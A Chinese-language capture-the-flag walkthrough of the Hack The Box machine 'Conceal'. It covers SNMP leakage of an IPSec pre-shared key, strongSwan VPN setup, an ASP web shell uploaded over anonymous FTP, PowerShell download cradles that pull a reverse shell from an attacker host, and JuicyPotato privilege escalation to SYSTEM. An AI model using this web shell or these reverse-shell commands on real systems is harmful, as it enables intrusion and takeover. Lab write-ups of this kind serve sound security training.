信息收集
IP Address | Opening Ports |
---|---|
10.10.10.116 | UDP:161,500 |
$ sudo nmap -sU -sC --top-ports 20 10.10.10.116
PORT STATE SERVICE
53/udp open|filtered domain
67/udp open|filtered dhcps
68/udp open|filtered dhcpc
69/udp open|filtered tftp
123/udp open|filtered ntp
135/udp open|filtered msrpc
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
139/udp open|filtered netbios-ssn
161/udp open snmp
| snmp-interfaces:
| Software Loopback Interface 1\x00
| IP address: 127.0.0.1 Netmask: 255.0.0.0
| Type: softwareLoopback Speed: 1 Gbps
| Traffic stats: 0.00 Kb sent, 0.00 Kb received
| Intel(R) 82574L Gigabit Network Connection\x00
| IP address: 10.10.10.116 Netmask: 255.255.255.0
| MAC address: 00:50:56:b2:68:88 (VMware)
| Type: ethernetCsmacd Speed: 1 Gbps
| Traffic stats: 1.69 Mb sent, 2.53 Mb received
| Intel(R) 82574L Gigabit Network Connection-WFP Native MAC Layer LightWeight Filter-0000\x00
| MAC address: 00:50:56:b2:68:88 (VMware)
| Type: ethernetCsmacd Speed: 1 Gbps
| Traffic stats: 1.69 Mb sent, 2.54 Mb received
| Intel(R) 82574L Gigabit Network Connection-QoS Packet Scheduler-0000\x00
| MAC address: 00:50:56:b2:68:88 (VMware)
| Type: ethernetCsmacd Speed: 1 Gbps
| Traffic stats: 1.69 Mb sent, 2.54 Mb received
| Intel(R) 82574L Gigabit Network Connection-WFP 802.3 MAC Layer LightWeight Filter-0000\x00
| MAC address: 00:50:56:b2:68:88 (VMware)
| Type: ethernetCsmacd Speed: 1 Gbps
|_ Traffic stats: 1.69 Mb sent, 2.54 Mb received
| snmp-netstat:
| TCP 0.0.0.0:21 0.0.0.0:0
| TCP 0.0.0.0:80 0.0.0.0:0
| TCP 0.0.0.0:135 0.0.0.0:0
| TCP 0.0.0.0:445 0.0.0.0:0
| TCP 0.0.0.0:49664 0.0.0.0:0
| TCP 0.0.0.0:49665 0.0.0.0:0
| TCP 0.0.0.0:49666 0.0.0.0:0
| TCP 0.0.0.0:49667 0.0.0.0:0
| TCP 0.0.0.0:49668 0.0.0.0:0
| TCP 0.0.0.0:49669 0.0.0.0:0
| TCP 0.0.0.0:49670 0.0.0.0:0
| TCP 10.10.10.116:139 0.0.0.0:0
| TCP 10.10.10.116:49676 10.10.14.15:443
| TCP 10.10.10.116:49682 10.10.14.15:443
| UDP 0.0.0.0:123 *:*
| UDP 0.0.0.0:161 *:*
| UDP 0.0.0.0:500 *:*
| UDP 0.0.0.0:4500 *:*
| UDP 0.0.0.0:5050 *:*
| UDP 0.0.0.0:5353 *:*
| UDP 0.0.0.0:5355 *:*
| UDP 0.0.0.0:51681 *:*
| UDP 0.0.0.0:54275 *:*
| UDP 0.0.0.0:59047 *:*
| UDP 0.0.0.0:65166 *:*
| UDP 10.10.10.116:137 *:*
| UDP 10.10.10.116:138 *:*
| UDP 10.10.10.116:1900 *:*
| UDP 10.10.10.116:54399 *:*
| UDP 127.0.0.1:1900 *:*
|_ UDP 127.0.0.1:54400 *:*
| snmp-processes:
| 1:
| Name: System Idle Process
| 4:
| Name: System
...[snip]...
162/udp open|filtered snmptrap
445/udp open|filtered microsoft-ds
500/udp open isakmp
| ike-version:
| vendor_id: Microsoft Windows 8
| attributes:
| MS NT5 ISAKMPOAKLEY
| RFC 3947 NAT-T
| draft-ietf-ipsec-nat-t-ike-02\n
| IKE FRAGMENTATION
| MS-Negotiation Discovery Capable
|_ IKE CGA version 1
514/udp open|filtered syslog
520/udp open|filtered route
631/udp open|filtered ipp
1434/udp open|filtered ms-sql-m
1900/udp open|filtered upnp
4500/udp open|filtered nat-t-ike
49152/udp open|filtered unknown
SNMP配置不当PSK泄露(161) && IPSec-IKE(500)
SNMP(Simple Network Management Protocol,简单网络管理协议)是一种用于管理和监控网络设备(如路由器、交换机、服务器、打印机等)的协议。它主要用于收集设备的状态信息、性能数据和统计信息,以及远程配置和控制设备。
$ snmpwalk -v 2c -c public 10.10.10.116
STRING: "IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43"
Dudecake1!
IKE(Internet Key Exchange,互联网密钥交换)是一种用于在IPSec(Internet Protocol Security,互联网协议安全)中建立安全连接的协议。IKE的主要功能是自动协商、生成和管理用于保护网络通信的加密密钥。它是IPSec协议套件的一个关键组件,专门负责密钥交换和安全关联(SA)的建立。
$ ike-scan -M 10.10.10.116
从ike-scan
输出的信息中,我们可以提取出几个对攻击者有用的关键信息。这些信息有助于进一步的攻击,例如暴力破解、身份验证绕过或利用已知漏洞。以下是关键细节:
Main Mode Handshake Returned:
表示目标主机在响应 IKE(Internet Key Exchange)请求,且支持主模式(Main Mode)握手。这意味着目标设备正在运行 IPSec VPN 服务,并且可以与攻击者的设备进行通信。
加密和认证算法:
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration(4)=0x00007080)
:Enc=3DES: 目标使用 3DES(Triple DES)加密算法。
Hash=SHA1: 使用 SHA-1 哈希算法。
Group=2:modp1024: 使用 MODP 1024-bit Diffie-Hellman 组(Group 2),这是一个较弱的密钥交换参数。
Auth=PSK: 认证方式为预共享密钥(PSK,Pre-Shared Key)。
这些信息表明了目标使用的加密和哈希算法,以及身份验证方式。攻击者可以使用这些信息来选择合适的攻击方法,例如,使用暴力破解来猜测预共享密钥(PSK)。
VID(Vendor ID)字段:
VID=1e2b516905991c7d7c96fcbfb517e46100000009 (Windows-8)
:表明目标操作系统是 Windows 8。这有助于攻击者针对特定的操作系统漏洞进行攻击。
VID=4a131c81070358455c5728f20e95452f (RFC 3947 NAT-T)
:表明目标支持 NAT-T(NAT Traversal),这是在 NAT 环境中使用 IPSec 的常见扩展。
VID=90cb80913ebb696e086381b5ec427b1f (draft-ietf-ipsec-nat-t-ike-02)
:显示目标支持 IKE NAT-T 的草案版本。进一步确认了 NAT 穿越功能的支持。
VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation)
:表明目标支持 IKE Fragmentation,这可以帮助防止一些基于碎片的攻击。
VID=fb1de3cdf341b7ea16b7e5be0855f120 (MS-Negotiation Discovery Capable)
:表明目标支持 Microsoft 的协商发现(Negotiate Discovery)。
VID=e3a5966a76379fe707228231e5ce8652 (IKE CGA version 1)
:表示目标支持 IKE CGA (Cryptographically Generated Address),用于增强地址的安全性。
目标的协商能力和功能:
这些 VID 提供的信息揭示了目标的 IKE 和 IPSec 实现的具体功能和特性,例如支持 NAT-T 和 IKE Fragmentation。这些信息可以帮助攻击者选择适当的攻击工具和方法,特别是如果攻击者希望利用某些特定的 IKE 功能漏洞。
暴力破解 PSK(预共享密钥): 既然目标使用 PSK 认证,攻击者可以使用工具(如
ike-scan
的暴力破解模式或hashcat
等工具)来尝试暴力破解 PSK。利用已知的弱加密算法或参数: 使用 3DES 和 SHA-1 作为加密和哈希算法,以及 Group 2:modp1024 作为 Diffie-Hellman 组,这些都是较弱的安全配置,可能容易受到攻击者的破解或中间人攻击(MITM)。
特定操作系统的攻击: 识别出目标操作系统是 Windows 8,攻击者可以针对该操作系统的已知漏洞进行攻击。
IPSec-VPN
Internet Protocol Security (IPSec)是一组协议套件,用于在 IP 层保护网络流量,确保数据的机密性、完整性和身份验证。它广泛应用于虚拟专用网络(VPN)和其他需要安全通信的网络环境。IPSec 通过两个主要协议提供不同的安全保证:
Authentication Header (AH) - 认证头:
数据完整性: AH 通过校验和(如 HMAC)提供数据完整性保护,确保数据在传输过程中没有被篡改。
数据源认证: AH 验证数据包的来源,确保数据确实来自预期的发送方。
防重放攻击: AH 包含序列号字段,可以防止重放攻击(replay attack),攻击者无法重放已被发送的数据包。
AH 不提供数据的加密,因此数据的内容仍然可以被第三方查看。
Encapsulating Security Payload (ESP) - 封装安全载荷:
数据完整性: 与 AH 类似,ESP 也提供数据完整性检查,确保数据没有被篡改。
数据源认证: ESP 也验证数据包的来源。
机密性: ESP 提供数据加密,保护数据内容的机密性,防止未经授权的人员查看数据内容。
防重放攻击: ESP 也具有防止重放攻击的机制。
Security Associations (SA) - 安全关联:
SA 是 IPSec 操作的核心组件,用于定义数据包如何在安全的基础上被传输。每个 SA 定义了一个加密和认证的协议、加密算法、密钥和其他参数。
SA 可以单独为 AH 和 ESP 定义,也可以为它们的组合定义。
每个 SA 都有一个唯一的标识符,称为安全参数索引(SPI),它用于在通信双方之间识别不同的 SA。
Internet Key Exchange (IKE) - 互联网密钥交换协议:
IKE 是 IPSec 的关键管理协议,用于动态协商和建立 SA。IKE 通过交换加密密钥和其他安全参数来建立安全的通信通道。
IKE 提供两种主要模式:主模式(Main Mode)和快速模式(Aggressive Mode)。主模式提供更强的安全性,而快速模式更快,但安全性相对较低。
IKE 有两个版本:IKEv1 和 IKEv2。IKEv2 提供了更好的性能和安全性特性,是目前更为常用的版本。
IPSec 工作模式:
传输模式(Transport Mode): 仅对 IP 数据包的有效负载部分进行加密或认证,保留原始 IP 头。常用于主机到主机(end-to-end)的通信。
隧道模式(Tunnel Mode): 对整个 IP 数据包进行加密或认证,并封装在一个新的 IP 数据包中。通常用于网关到网关(gateway-to-gateway)或网关到主机(gateway-to-host)的通信,例如在 VPN 中。
IPSec 应用场景:
VPN(虚拟专用网络): IPSec 常用于构建安全的 VPN 连接,保护远程办公或分支机构之间的通信。
远程访问: 提供安全的远程访问,保护数据免受窃听和篡改。
数据中心互连: 在数据中心之间建立安全的通信通道,保护敏感数据传输。
IPSec 与其他协议的集成:
IPSec 通常与其他网络协议(如 GRE、L2TP)结合使用,以增强 VPN 和其他应用场景的安全性。
IPSec 还可以与身份验证协议(如 RADIUS、TACACS+)结合使用,以确保用户身份验证的安全性。
当前环境需要为靶机设置传输模式
$ apt install strongswan
添加预共享密钥
# echo '10.10.10.116 : PSK "Dudecake1!"' >> /etc/ipsec.secrets
编辑配置文件
# vim /etc/ipsec.conf
conn Conceal
type=transport
keyexchange=ikev1
right=10.10.10.116
authby=psk
rightprotoport=tcp
leftprotoport=tcp
esp=3des-sha1
ike=3des-sha1-modp1024
auto=start
我们创建了一个名为 Conceal 的连接。连接类型设置为 transport,因为我们仅对流量进行加密,而不是建立隧道。keyexchange
参数用于指定使用的协议版本,这里选择的是 v1。right
参数指定目标主机。authby
参数的值将通过ikescan
获得。假设协议是 TCP,如果出现问题,可以改为 UDP,通过protoport
参数进行配置。esp
参数定义了加密套件,格式为encryption-hashing
。ike
参数也类似,但还需要指定组,这里使用的是modp1024
。
我们停止 IPsec 服务以终止所有相关进程,并以 nofork 模式启动它,以便进行调试。
$ sudo ipsec stop
$ sudo ipsec start --nofork
nmap
$ nmap -p- 10.10.10.116 --min-rate 1000 -sC -sV -Pn
IP Address | Opening Ports |
---|---|
10.10.10.116 | TCP:21/tcp, ftp, 80/tcp, http, 135/tcp, msrpc, 139/tcp, netbios-ssn, 445/tcp, microsoft-ds, 49664/tcp, unknown, 49665/tcp, unknown, 49666/tcp, unknown, 49667/tcp, unknown, 49668/tcp, unknown, 49669/tcp, unknown, 49670/tcp, unknown |
$ sudo nmap -sU -sC --top-ports 20 10.10.10.116
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
ftp匿名访问 && http
$ feroxbuster --url http://10.10.10.116/
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
$ ftp 10.10.10.116
ftp> put /tmp/cmd.asp cmd.asp
$ curl 'http://10.10.10.116/upload/cmd.asp?cmd=whoami'
$ curl 'http://10.10.10.116/upload/cmd.asp?cmd=powershell%20iex(New-Object%20Net.Webclient).downloadstring(%27http://10.10.16.24/Invoke-PowerShellTcp.ps1%27)'
User.txt
40f01e72608dd988c673747d37709f84
权限提升
JuicyPotato && CLSID
PS C:\Users\Destitute\Desktop> whoami /priv
SeImpersonatePrivilege (Impersonate a client after authentication):
状态: Enabled
解释: JuicyPotato 需要
SeImpersonatePrivilege
权限来模拟经过身份验证的客户端。这项权限允许当前进程以目标用户的身份执行操作,是 JuicyPotato 成功利用的关键权限之一。
SeChangeNotifyPrivilege (Bypass traverse checking):
状态: Enabled
解释: 这项权限允许绕过文件系统的遍历检查。虽然它在 JuicyPotato 的利用中不是主要的要求,但它对其他操作的执行有帮助。
满足的条件
SeImpersonatePrivilege是 JuicyPotato 利用的核心条件,因为 JuicyPotato 需要能够模拟用户以提升权限。
SeChangeNotifyPrivilege虽然不是必需的,但它的启用表明系统具有一些高级的权限设置。
https://github.com/ohpe/juicy-potato/releases
$ wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
PS C:\users\Destitute\appdata\local\Temp> invoke-webrequest -uri http://10.10.16.24/JuicyPotato.exe -outfile JuicyPotato.exe
PS C:\users\Destitute\appdata\local\Temp> systeminfo
寻找windows10的CLSID
https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_10_Enterprise
概念
JuicyPotato 利用CLSID
(Class Identifier)来实现权限提升。这个利用方式主要依赖于 COM(Component Object Model)和 DCOM(Distributed COM)中的特性。以下是为何 JuicyPotato.exe 需要CLSID
的原因及其工作原理:
为什么需要 CLSID
COM 对象注册:
COM 和 DCOM 使用
CLSID
来唯一标识不同的组件或对象。在 Windows 系统中,CLSID
在注册表中定义了 COM 对象的配置和实现。JuicyPotato 利用特定的 COM 对象(由其
CLSID
标识)来触发权限提升。
利用 DCOM 权限提升:
JuicyPotato 通过利用 MS DTC(Microsoft Distributed Transaction Coordinator)服务来提升权限。MS DTC 是一个 COM 组件,它处理分布式事务。
利用特定的 COM 对象和它们的
CLSID
,JuicyPotato 能够操控 DCOM 服务并进行权限提升操作。
特权操作:
JuicyPotato 利用具有高权限的 COM 对象,通过 DCOM 服务来执行特权操作,比如将当前进程的权限提升到
NT AUTHORITY\SYSTEM
。CLSID
用于定位和利用这些高权限 COM 对象。
JuicyPotato 的工作原理
定位 CLSID:
JuicyPotato 选择一个具有足够权限的 COM 对象。每个 COM 对象都有一个唯一的
CLSID
。通过
CLSID
,JuicyPotato 找到这些对象并利用它们的特权来执行恶意操作。
触发权限提升:
JuicyPotato 利用 COM 对象的特权,通常通过触发一个
MSDTC
服务的漏洞,来获得SYSTEM
权限。CLSID
指定了要利用的具体 COM 对象,使得攻击能够利用该对象的高权限特性来提升当前进程的权限。
示例
在 JuicyPotato 的攻击过程中,可能使用的CLSID
之一是 MS DTC 的特定 CLSID。例如:
{A2E8D748-2F37-4D55-8F93-79DDC5E6B36F}
通过这个CLSID
,JuicyPotato 可以触发 DCOM 服务执行特权操作,从而实现权限提升。
$ echo "powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.16.24/Invoke-PowerShellTcp.ps1')">reverse.bat
upload目录会定时清理所以转移到其他目录
PS C:\users\Destitute\appdata\local\Temp> invoke-webrequest -uri http://10.10.16.24/JuicyPotato.exe -outfile reverse.bat
PS C:\users\Destitute\appdata\local\Temp> .\JuicyPotato.exe -t * -p "C:\users\Destitute\appdata\local\Temp\reverse.bat" -l 9001 -c "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}"
Root.txt
c07091f9c5a235ac0f778f9c466ab9ee